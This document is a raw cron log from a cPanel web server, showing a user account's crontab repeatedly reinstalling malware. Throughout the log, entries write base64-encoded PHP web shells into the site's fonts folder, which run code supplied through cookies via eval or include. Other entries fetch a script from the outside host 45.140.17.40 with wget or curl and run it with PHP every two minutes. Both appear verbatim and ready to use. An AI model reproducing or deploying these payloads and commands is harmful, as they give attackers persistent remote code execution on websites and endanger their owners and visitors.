Sep  3 15:37:01 ip-184-168-122-23 CROND[27499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:37:01 ip-184-168-122-23 CROND[27501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:37:01 ip-184-168-122-23 CROND[27500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:38:01 ip-184-168-122-23 CROND[27580]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:38:01 ip-184-168-122-23 CROND[27583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:38:01 ip-184-168-122-23 CROND[27584]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 15:38:01 ip-184-168-122-23 CROND[27582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:38:01 ip-184-168-122-23 CROND[27585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:39:01 ip-184-168-122-23 CROND[27752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:39:01 ip-184-168-122-23 CROND[27753]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:39:01 ip-184-168-122-23 CROND[27758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:39:01 ip-184-168-122-23 CROND[27756]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 15:39:01 ip-184-168-122-23 CROND[27757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:40:01 ip-184-168-122-23 CROND[27881]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 15:40:01 ip-184-168-122-23 CROND[27883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:40:01 ip-184-168-122-23 CROND[27885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:40:01 ip-184-168-122-23 CROND[27884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:40:01 ip-184-168-122-23 CROND[27887]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:40:01 ip-184-168-122-23 CROND[27888]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 15:40:01 ip-184-168-122-23 CROND[27889]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 15:40:01 ip-184-168-122-23 CROND[27886]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 15:41:01 ip-184-168-122-23 CROND[27984]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:41:01 ip-184-168-122-23 CROND[27986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:41:01 ip-184-168-122-23 CROND[27985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:41:01 ip-184-168-122-23 CROND[27988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:42:01 ip-184-168-122-23 CROND[28066]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 15:42:01 ip-184-168-122-23 CROND[28068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:42:01 ip-184-168-122-23 CROND[28071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:42:01 ip-184-168-122-23 CROND[28069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:42:01 ip-184-168-122-23 CROND[28067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:43:01 ip-184-168-122-23 CROND[28153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:43:01 ip-184-168-122-23 CROND[28155]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:43:01 ip-184-168-122-23 CROND[28156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:43:01 ip-184-168-122-23 CROND[28157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:44:01 ip-184-168-122-23 CROND[28236]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 15:44:01 ip-184-168-122-23 CROND[28238]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:44:01 ip-184-168-122-23 CROND[28239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:44:01 ip-184-168-122-23 CROND[28241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:44:01 ip-184-168-122-23 CROND[28240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:45:01 ip-184-168-122-23 CROND[28354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:45:01 ip-184-168-122-23 CROND[28356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:45:01 ip-184-168-122-23 CROND[28358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:45:01 ip-184-168-122-23 CROND[28359]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 15:45:01 ip-184-168-122-23 CROND[28360]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:45:01 ip-184-168-122-23 CROND[28367]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 15:46:01 ip-184-168-122-23 CROND[28560]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:46:01 ip-184-168-122-23 CROND[28562]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 15:46:01 ip-184-168-122-23 CROND[28565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:46:01 ip-184-168-122-23 CROND[28564]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 15:46:01 ip-184-168-122-23 CROND[28566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:46:01 ip-184-168-122-23 CROND[28563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:46:01 ip-184-168-122-23 CROND[28567]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 15:47:01 ip-184-168-122-23 CROND[28731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:47:01 ip-184-168-122-23 CROND[28733]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:47:01 ip-184-168-122-23 CROND[28735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:47:01 ip-184-168-122-23 CROND[28736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:48:01 ip-184-168-122-23 CROND[28823]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:48:01 ip-184-168-122-23 CROND[28825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:48:01 ip-184-168-122-23 CROND[28826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:48:01 ip-184-168-122-23 CROND[28827]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 15:48:01 ip-184-168-122-23 CROND[28828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:49:01 ip-184-168-122-23 CROND[28908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:49:01 ip-184-168-122-23 CROND[28910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
